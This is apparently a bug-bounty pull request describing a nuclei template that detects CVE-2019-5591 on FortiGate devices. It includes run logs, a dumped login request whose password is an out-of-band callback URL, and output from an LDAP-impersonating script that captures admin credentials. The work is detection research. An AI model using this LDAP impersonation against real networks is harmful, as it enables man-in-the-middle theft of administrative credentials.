PR

Template / PR Information

Prior to using the nuclei command to run the CVE-2019-5591.yaml template included in this PR, you need to first impersonate the LDAP server on the network using a Python script. This is so you can intercept all LDAP credentials from any authentication attempts made by FortiOS on behalf of any (administrative) end user.

The impersonation script will serve as our OOB mechanism so we can reliably detect if a target FortiGate device is running a version of FortiOS that is vulnerable to the MITM attack.

You can use my PoC ldap_honeypot.py for this. ldap_honeypot.py is started like so:

sudo python3 ldap_honeypot.py
LDAP Honeypot Server started on 0.0.0.0:389
Waiting for connections...

Explanation of the OOB Mechanism

To trigger the vulnerability, the CVE-2019-5591.yaml template generates a random (non-existent) user and uses the interactsh-url as the user’s password. These credentials are then sent over HTTP/S to the FortiGate web interface for LDAP authentication, as can be seen in the output from my local testing of the template below.

Once LDAP credentials are received by ldap_honeypot.py, it parses out the LDAP server’s admin credentials as well as the end user’s password, which is an OAST URL.

The script then makes a simple GET request against the OAST URL, triggering a DNS lookup and a HTTP request.

If those 2 events are received by the nuclei template’s interactsh-protocol client, then it is conclusive proof that the target FortiGate device has an LDAP misconfiguration vulnerability.

Template Validation

I’ve validated this template locally?

  • YES
  • NO

[!NOTE] In order to reduce the length of PR description, the README.md containing step-by-step instructions on how to run the PoC have been edited out and moved to a comment below.

Additional Details (leave it blank if not applicable)

nuclei -t CVE-2019-5591.yaml -target http://192.168.43.111 -vv -debug
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.3.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 124
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2019-5591] FortiGate - Insecure LDAP Configuration Detection (@ayewo) [medium]
[INF] Using Interactsh Server: oast.live
[INF] [CVE-2019-5591] Dumped HTTP request for http://192.168.43.111/logincheck
POST /logincheck HTTP/1.1
Host: 192.168.43.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 80
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9
Cache-Control: no-store, no-cache, must-revalidate
Connection: keep-alive
Content-Type: text/plain;charset=UTF-8
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Origin: http://192.168.43.111
Pragma: no-cache
Referer: http://192.168.43.111/login
ajax=1&username=RLDETupQGg&secretkey=d3onbps2kel6dq1lpt6g1daquc7tfo43q.oast.live
[DBG] [CVE-2019-5591] Dumped HTTP response http://192.168.43.111/logincheck
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset=utf-8
Date: Thu, 16 Oct 2025 22:47:06 GMT
Server:
Set-Cookie: APSCOOKIE_10657718821196653669="Era%3D0%26Payload%3Dmuz81q6ns3coID0hnxxN+vQzuRp0Q4lnup6DHkvE+m%2FVxQXw0GKRWUX4GUa+LZWi%0AUkJg0QWCb+WjlCpXpFGg+Yoh8HwxzEA%2FlsqFy0hHb7cCyojLpAVfXlrHHwIAuiNc%0Aefms6WcWGt13652ottrvusM31lZXQk%2F3he7RgMrfMwCA7kg5kjPJAw%3D%3D%0A%26AuthHash%3DxJ2dsz+4VHMERKWPx9Qbx%2Fsnv4MA%0A"; path=/; HttpOnly; SameSite=Strict
Set-Cookie: ccsrftoken_10657718821196653669="F7E2274126D6763EAB127F4BD93F9E"; path=/; SameSite=Strict
Set-Cookie: ccsrftoken="F7E2274126D6763EAB127F4BD93F9E"; path=/; SameSite=Strict
Strict-Transport-Security: max-age=0
X-Frame-Options: SAMEORIGIN
X-Ua-Compatible: IE=Edge
X-Xss-Protection: 1; mode=block
1document.location="/ng/prompt?viewOnly&redir=%2Fng";
[D3ONBps2kel6dQ1lpT6G1DAQUC7tFo43Q] Received DNS interaction from 172.253.249.212 at 2025-10-16 22:47:07
------------
DNS Request
------------
;; opcode: QUERY, status: NOERROR, id: 33599
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;D3ONBps2kel6dQ1lpT6G1DAQUC7tFo43Q.OasT.LIVe. IN A
------------
DNS Response
------------
;; opcode: QUERY, status: NOERROR, id: 33599
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:
;D3ONBps2kel6dQ1lpT6G1DAQUC7tFo43Q.OasT.LIVe. IN A
;; ANSWER SECTION:
D3ONBps2kel6dQ1lpT6G1DAQUC7tFo43Q.OasT.LIVe. 3600 IN A 178.128.210.172
;; AUTHORITY SECTION:
D3ONBps2kel6dQ1lpT6G1DAQUC7tFo43Q.OasT.LIVe. 3600 IN NS ns1.oast.live.
D3ONBps2kel6dQ1lpT6G1DAQUC7tFo43Q.OasT.LIVe. 3600 IN NS ns2.oast.live.
;; ADDITIONAL SECTION:
ns1.oast.live. 3600 IN A 178.128.210.172
ns2.oast.live. 3600 IN A 178.128.210.172
[CVE-2019-5591:status-1] [http] [medium] http://192.168.43.111/logincheck
[CVE-2019-5591:dsl-2] [http] [medium] http://192.168.43.111/logincheck
[CVE-2019-5591:word-3] [http] [medium] http://192.168.43.111/logincheck
[INF] Scan completed in 11.371260277s. 3 matches found.

Here’s the corresponding output for ldap_honeypot.py:

[2025-10-16 23:47:06.540145] New connection from 192.168.43.24:55099
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
RLDETupQGg01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3onbps2kel6dq1lpt6g1daquc7tfo43q.oast.live
🔑 CAPTURED PASSWORD: d3onbps2kel6dq1lpt6g1daquc7tfo43q.oast.live
🔧 No scheme found — prepending https:// -> https://d3onbps2kel6dq1lpt6g1daquc7tfo43q.oast.live
📡 Attempting GET request to: https://d3onbps2kel6dq1lpt6g1daquc7tfo43q.oast.live
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 23:47:08.659098] Connection closed from 192.168.43.24:55099
============================================================
SESSION SUMMARY - Captured Password: d3onbps2kel6dq1lpt6g1daquc7tfo43q.oast.live
============================================================

This is intended as a proper fix for #13436 in order to /claim #13436

Claim

Total prize pool $200
Total paid $200
Status Approved
Submitted October 16, 2025
Last updated October 16, 2025

Contributors

SA

Saïd

@ayewo

100%

Sponsors

PR

ProjectDiscovery

@projectdiscovery

$200 paid